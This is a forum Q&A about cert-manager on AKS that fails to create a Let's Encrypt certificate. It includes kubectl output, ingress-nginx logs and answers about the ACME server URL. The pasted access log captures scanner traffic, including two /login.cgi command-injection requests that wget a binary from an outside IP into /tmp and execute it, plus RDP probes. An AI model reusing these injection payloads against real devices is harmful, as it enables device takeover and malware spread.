aks cert-manager does not create a cert with lets-encrypt - ssl

Question

I am using AKS to create a SSL cert with lets encrypt. I installed cert-manager using helm.
I created a CA cluster issuer:
Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe ClusterIssuer
Name: letsencrypt-prod
Namespace:
Labels: <none>
Annotations: kubectl.kubernetes.io/last-applied-configuration={"apiVersion":"certmanager.k8s.io/v1alpha1","kind":"ClusterIssuer","metadata":{"annotations":{},"name":"letsencrypt-prod","namespace":""},"spec":{"acme...
API Version: certmanager.k8s.io/v1alpha1
Kind: ClusterIssuer
Metadata:
Creation Timestamp: 2018-12-09T19:35:56Z
Generation: 1
Resource Version: 890789
Self Link: /apis/certmanager.k8s.io/v1alpha1/clusterissuers/letsencrypt-prod
UID: a5bba453-fbe9-11e8-9108-0ea4bd565112
Spec:
Acme:
Email: myemail#myemail.com
Http 01:
Private Key Secret Ref:
Name: letsencrypt-prod
Server: https://acme-v02.api.letsencrypt.org/directory
Events: <none>
Created a certificate object:
Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe certificates
Name: tls-secret
Namespace: default
Labels: <none>
Annotations: kubectl.kubernetes.io/last-applied-configuration={"apiVersion":"certmanager.k8s.io/v1alpha1","kind":"Certificate","metadata":{"annotations":{},"name":"tls-secret","namespace":"default"},"spec":{"acme"...
API Version: certmanager.k8s.io/v1alpha1
Kind: Certificate
Metadata:
Creation Timestamp: 2018-12-10T17:09:05Z
Generation: 1
Resource Version: 890853
Self Link: /apis/certmanager.k8s.io/v1alpha1/namespaces/default/certificates/tls-secret
UID: 4ccd87c3-fc9e-11e8-9108-0ea4bd565112
Spec:
Acme:
Config:
Domains:
mydomain.com
Http 01:
Ingress Class: nginx
Dns Names:
mydomain.com
Issuer Ref:
Kind: ClusterIssuer
Name: letsencrypt-prod
Secret Name: tls-secret
Events: <none>
Created Ingress:
Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe Ingress
Name: my-ingress
Namespace: default
Address:
Default backend: default-http-backend:80 (<none>)
TLS:
tls-secret terminates mydomain.com
Rules:
Host Path Backends
---- ---- --------
mydomain.com
/ web:8080 (<none>)
Annotations:
kubernetes.io/ingress.class: nginx
kubernetes.io/tls-acme: true
nginx.ingress.kubernetes.io/rewrite-target: /
certmanager.k8s.io/cluster-issuer: letsencrypt-prod
kubectl.kubernetes.io/last-applied-configuration: {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"certmanager.k8s.io/cluster-issuer":"letsencrypt-prod","kubernetes.io/ingress.class":"nginx","kubernetes.io/tls-acme":"true","nginx.ingress.kubernetes.io/rewrite-target":"/"},"name":"my-ingress","namespace":"default"},"spec":{"rules":[{"host":"mydomain.com","http":{"paths":[{"backend":{"serviceName":"web","servicePort":8080},"path":"/"}]}}],"tls":[{"hosts":["mydomain.com"],"secretName":"tls-secret"}]}}
Events: <none>
As you can see the events for the Certificate is none so its not even creating the order. Not sure why it would not even create the order or even throw a error.
Also just noticed this in the logs:
0383146a91108
202.188.22.129 - [202.188.22.129] - - [07/Dec/2018:18:44:59 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 173 "-" "-" 46 0.000 [] - - - - ea94a2fbba4c1c9ad145b15d0a52c52f
80.82.77.139 - [80.82.77.139] - - [08/Dec/2018:02:22:54 +0000] "" 400 0 "-" "-" 0 0.000 [] - - - - a95a0b46bf827182675e0fc1422690df
80.82.77.139 - [80.82.77.139] - - [08/Dec/2018:02:22:56 +0000] "" 400 0 "-" "-" 0 0.000 [] - - - - de92f7a3a62aa416b4e83b43b4bbce8b
61.219.11.151 - [61.219.11.151] - - [08/Dec/2018:07:37:37 +0000] "0\x00\x00\xA2C\x8D\x08&\xB1\xD2\xB2\x1D0\x95\x1A\xCF\xC6\x9F\xAE\xF9E\x84\xA1\x87N\x93Q\x1E\x96\x1B\xCD\xB7m\x8A\x97\x7F\xD4\x1B\xB9\xEC\xAD\xFC[q\xCDI\x1D\xB6\x5C\xC9\x17" 400 173 "-" "-" 0 0.254 [] - - - - 32e9877f816385ea17fc81d66e0c0bff
77.72.83.87 - [77.72.83.87] - - [08/Dec/2018:08:32:38 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - 34223653367733d5d5c8465c910520cc
194.147.32.50 - [194.147.32.50] - - [08/Dec/2018:12:13:59 +0000] "\x16\x03\x01\x00\xDE\x01\x00\x00\xDA\x03\x03\xDAR\xA1\x0C\xC2" 400 173 "-" "-" 0 0.276 [] - - - - 76ef49ba809cfafa0b271587a91975f5
77.72.83.87 - [77.72.83.87] - - [09/Dec/2018:13:34:23 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - 9f19f060dad13ea83b219786f57de1b8
I1209 18:51:07.029058 6 store.go:279] ignoring add for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class with value
W1209 18:51:22.672206 6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
194.147.32.50 - [194.147.32.50] - - [09/Dec/2018:19:01:21 +0000] "GET / HTTP/1.1" 400 271 "-" "python-requests/2.20.1" 149 0.000 [] - - - - 9a7d23cc704a397c50aac83da9628a5e
W1209 19:28:31.697030 6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
W1209 19:30:39.221141 6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
W1209 20:24:05.231839 6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
61.219.11.151 - [61.219.11.151] - - [09/Dec/2018:21:21:29 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - 387208826b079e7c5f681cbffbfad783
185.197.74.218 - [185.197.74.218] - - [09/Dec/2018:23:46:58 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 0.090 [] - - - - 807bcf345b02efbb1d12de430f4aed29
185.197.74.218 - [185.197.74.218] - - [09/Dec/2018:23:46:59 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 0.081 [] - - - - b3867afca100531461c9a2ca1e307230
164.52.24.162 - [164.52.24.162] - - [10/Dec/2018:00:49:09 +0000] "GET / HTTP/1.1" 400 271 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 304 0.000 [] - - - - c3e2b27647745ebcff376892d3a0153a
61.219.11.151 - [61.219.11.151] - - [10/Dec/2018:03:45:34 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - bea0e89c148a432f3e709f809461c891
77.72.83.87 - [77.72.83.87] - - [10/Dec/2018:08:57:40 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - ede5cc867dc5e412aa0aec96bd1d3a74
185.244.25.163 - [185.244.25.163] - - [10/Dec/2018:14:44:52 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.244.25.150/x%20-O%20-%3E%20/tmp/x;sh%20/tmp/x%27$ HTTP/1.1" 400 173 "-" "Kowai/1.0" 202 0.000 [] - - - - 7f30adc5eccf31c000d4f2afb4164510
91.203.11.189 - [91.203.11.189] - - [10/Dec/2018:18:05:55 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 4.998 [] - - - - a63c9264f0aca0bf70c9c06f388eda3a
E1210 18:14:19.966614 6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968364 6 leaderelection.go:234] error retrieving resource lock kube-system/ingress-controller-leader-addon-http-application-routing: Get https://tekdash-prod-8206c842.hcp.eastus.azmk8s.io:443/api/v1/namespaces/kube-system/configmaps/ingress-controller-leader-addon-http-application-routing: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968638 6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968656 6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968802 6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
W1210 18:14:19.968826 6 queue.go:130] requeuing &ObjectMeta{Name:sync status,GenerateName:,Namespace:,SelfLink:,UID:,ResourceVersion:,Generation:0,CreationTimestamp:0001-01-01 00:00:00 +0000 UTC,DeletionTimestamp:<nil>,DeletionGracePeriodSeconds:nil,Labels:map[string]string{},Annotations:map[string]string{},OwnerReferences:[],Finalizers:[],ClusterName:,Initializers:nil,}, err Get https://tekdash-prod-8206c842.hcp.eastus.azmk8s.io:443/api/v1/namespaces/kube-system/services/addon-http-application-routing-nginx-ingress: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.969084 6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
193.238.46.41 - [193.238.46.41] - - [10/Dec/2018:21:37:40 +0000] "\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello" 400 173 "-" "-" 0 0.083 [] - - - - 7039cea3baaa8022798c25cd822165f4
185.10.68.26 - [185.10.68.26] - - [11/Dec/2018:02:26:46 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - 508c65c2544bfc5b8d09cd259a609418
W1211 03:52:37.916346 6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
W1211 04:11:17.322745 6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
61.219.11.151 - [61.219.11.151] - - [11/Dec/2018:04:29:28 +0000] "\x01\x00\x00\x00" 400 173 "-" "-" 0 0.254 [] - - - - 1363273fff4bc9c1fb698b925a9a466d
61.219.11.151 - [61.219.11.151] - - [11/Dec/2018:04:38:29 +0000] "\x01\x00\x00\x00" 400 173 "-" "-" 0 0.254 [] - - - - b515cf47a022a35635d900e5f428d564
I1211 05:11:24.101841 6 store.go:309] ignoring delete for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class
I1211 05:12:39.201657 6 store.go:279] ignoring add for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class with value
W1211 05:12:46.560229 6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
151.25.145.33 - [151.25.145.33] - - [11/Dec/2018:05:28:45 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://139.59.32.101/bins/sector.mips%20-O%20->%20/tmp/.sector;chmod%20777%20/tmp/.sector;/tmp/.sector%20dlink%27$ HTTP/1.1" 400 173 "-" "Sector/2.0" 257 0.000 [] - - - - 6f971b6e64166ceb732a58d6444463de
cluster role:
Shawns-Personal-MacBook-Pro:Desktop shawnvarughese$ kubectl get clusterrole
NAME AGE
addon-http-application-routing-external-dns 8d
addon-http-application-routing-nginx-ingress-clusterrole 8d
omsagent-reader 8d
system:metrics-server
8d
role bindings:
Shawns-Personal-MacBook-Pro:Desktop shawnvarughese$ kubectl get RoleBinding
No resources found.

Answer 1

pretty sure server (in your ClusterIssuer definition) should be acme api, not your server name:
apiVersion: certmanager.k8s.io/v1alpha1
kind: ClusterIssuer
metadata:
name: letsencrypt-prod
spec:
acme:
# The ACME production server URL
server: https://acme-v02.api.letsencrypt.org/directory
# Email address used for ACME registration
email: email#domain.com
# Name of a secret used to store the ACME account private key
privateKeySecretRef:
name: letsencrypt-prod
# Enable the HTTP-01 challenge provider
http01: {}
for staging certificates (for tests) use this api uri: https://acme-staging-v02.api.letsencrypt.org/directory

Answer 2

#Shawn Varughese: I am encountering identical problem. I see the same error in nginx controller pod! Have not figured how to extract the crt and private key from the cert. That way, I could create the secret manually. Please share if you come across the workaround or solution.